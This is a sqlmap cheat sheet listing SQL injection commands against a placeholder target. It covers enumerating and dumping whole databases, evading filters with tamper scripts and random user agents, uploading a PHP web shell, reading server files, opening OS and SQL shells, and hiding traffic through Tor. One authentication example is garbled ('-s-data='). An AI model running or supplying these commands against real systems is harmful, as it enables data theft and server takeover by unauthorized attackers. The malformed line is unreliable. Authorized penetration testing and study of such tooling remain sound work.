Sqlmap Cheat Sheet Doc

I hope you find this useful.

Basic Usage
Find databases:

sqlmap --dbms=mysql -u "http://target.com/" --dbs

Exploit techniques:

--technique=BEUSTQ

B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries

Clear cache:

--fresh-queries
--flush-session

Evasion
Detection:

--level=5
--risk=3

Level (1-5) : level of tests
Risk (1-3): risk of tests

Use tamper scripts for evasion:

--tamper="random,randomcase,appendnullbyte,between,base64encode"

Send a random user agent:

--random-agent

Data Extraction
Basic syntax:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db (option)

Example options:
--tables : find tables
--columns : find columns
--current-user : find current user
--current-db : find database name

Send POST data:

sqlmap --dbms=mysql -u "http://target.com/" --data="data1=aaa&data2=bbb"

List users and roles:

sqlmap --dbms=mysql -u "http://target.com/" --users --roles --threads=5

Dump a table:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db -T target_table --dump

Dump everything:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db --dump-all

Set a dump limit:

--start=1 --stop=10

List columns:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db -T target_table --columns

Upload a shell:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db --file-write="/path/to/your/shell.php"

Download a file:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db --file-read=/path/to/target/file

Advanced Usage
Target a specific parameter:

sqlmap --dbms=mysql -u "http://target.com/param1=value1&param2=value2" --dbs -p param2

Inject at a specific URI position with *:

sqlmap -u "http://target.com/abc/def/123*/data.php"

Example:

sqlmap --dbms=mysql -u "http://target.com/param1/value1*/param2/value2" --dbs

Authentication
NTLM/Basic:

sqlmap -u "http://target.com/" -s-data=param1=value1&param2=value2 -p param1 --auth-type=[basic/ntlm] --auth-cred=username:password

Cookie:

sqlmap -u "http://target.com/" --data="param1=blah&param2=blah" --cookie="JSESSIONID=d01429cbe50e16aa4" --level=5 --risk=3 -p param1

Command Execution
OS shell:

sqlmap --dbms=mysql -u "http://target.com/" --os-shell

SQL shell:

sqlmap --dbms=mysql -u "http://target.com/" --sql-shell

OS command:

sqlmap --dbms=mysql -u "http://target.com/" --os-cmd whoami

SQL command:

sqlmap --dbms=mysql -u "http://target.com/" -D target_db --sql-query "SELECT * FROM TABLE;"

Proxies
Tor:

sqlmap -u "http://target.com/" --tor --tor-type=SOCKS5 --check-tor

HTTP:

sqlmap -u "http://target.com/" --proxy=http://proxy_address:port